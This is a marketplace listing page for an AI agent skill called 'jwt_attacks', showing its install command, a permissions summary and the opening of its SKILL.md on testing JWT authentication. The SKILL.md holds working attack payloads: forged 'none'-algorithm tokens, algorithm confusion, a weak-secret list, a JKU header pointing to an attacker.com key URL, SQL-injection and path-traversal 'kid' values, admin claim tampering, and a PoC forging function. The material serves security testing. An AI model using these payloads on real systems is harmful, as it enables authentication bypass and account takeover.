Skip to content
Agentmart
Submit a tool

jwt_attacks

JWT (JSON Web Token) security testing methodology

Skill by omkar-ukirde

IndexedMIT
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/omkar-ukirde-jwt-attacks

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

JWT (JSON Web Token) security testing methodology

Use cases: testing, security

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/jwt-attacks

What's inside

Skill name
jwt_attacks
Description
JWT (JSON Web Token) security testing methodology
License
MIT
Instructions
139 lines in SKILL.md · view on GitHub

Agent Skills spec issues

  • name: only lowercase letters, digits and single hyphens allowed
  • name: "jwt_attacks" does not match folder "jwt"

Files (1)

  • SKILL.md

SKILL.md (first lines)

# JWT Security Testing

## Overview
JWTs are used for authentication and authorization. Weak implementations can lead to authentication bypass.

## JWT Structure
```
header.payload.signature

# Example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.
Gfx6VO9tcxwk6xqx9yYzSfebfeakZp5JYIgP_edcw_A
```

## Attacks

### 1. Algorithm Confusion (Critical)
Change algorithm from RS256 to HS256, use public key as secret.

```python
# Original header
{"alg": "RS256", "typ": "JWT"}

# Modified to:
{"alg": "HS256", "typ": "JWT"}
# Sign with public key as HMAC secret
```

### 2. None Algorithm (Critical)
```python
# Change header to:
{"alg": "none", "typ": "JWT"}

# Remove signature:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIn0.
```

### 3. Weak Secret (High)
Common secrets:
```
secret
password
123456
your-256-bit-secret
jwt-secret
```

### 4. Key Injection (JKU/X5U)
```json
// Inject your own key URL
{"alg": "RS256", "jku": "https://attacker.com/jwks.json", "typ": "JWT"}
```

### 5. KID Injection
```json
// SQL Injection in kid
{"alg": "HS256", "kid": "key1' UNION SELECT 'my-secret'--", "typ": "JWT"}

// Path traversal
{"alg": "HS256", "kid": "../../dev/null", "typ": "JWT"}
```

### 6. Expired Token Acceptance
```python
# Check if expired tokens still work
# Modify exp claim to past timestamp
```

### 7. Claim Tampering
```json
// Original
{"sub": "user123", "role": "user"}

// Modified
{"sub": "user123", "role": "admin"}
```

## Testing Methodology

### 1. Decode and Analyze
```bash
# Decode header (base64)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
```

### 2. Check for None Algorithm
### 3. Try Algorithm Confusion
### 4. Brute Force Secret
### 5. Check Expiration Validation
### 6. Test Claim Modifications

## PoC Template
```python
import jwt
import base64
import json

def test_jwt_none(token):
    """Test None algorithm attack"""
    parts = token.split('.')
    
    # Decode header
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    
    # Change to none algorithm
    header['alg'] = 'none'
    
    # Encode new token without signature
    new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
    new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
    
    return f"{new_header.decode()}.{new_payload.decode()}."


def bruteforce_secret(token, wordlist):
    """Brute force JWT secret"""
    for secret in wordlist:

From omkar-ukirde/RedStrike.AI, MIT.

Signals

Stars
0
Forks
0
Open issues
0
Last commit (this folder)
Jan 30, 2026 (9 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from omkar-ukirde

Cite this page

jwt_attacks skill. Agent Mart. https://agentmart.dev/skills/omkar-ukirde-jwt-attacks (last updated 2026-10-24)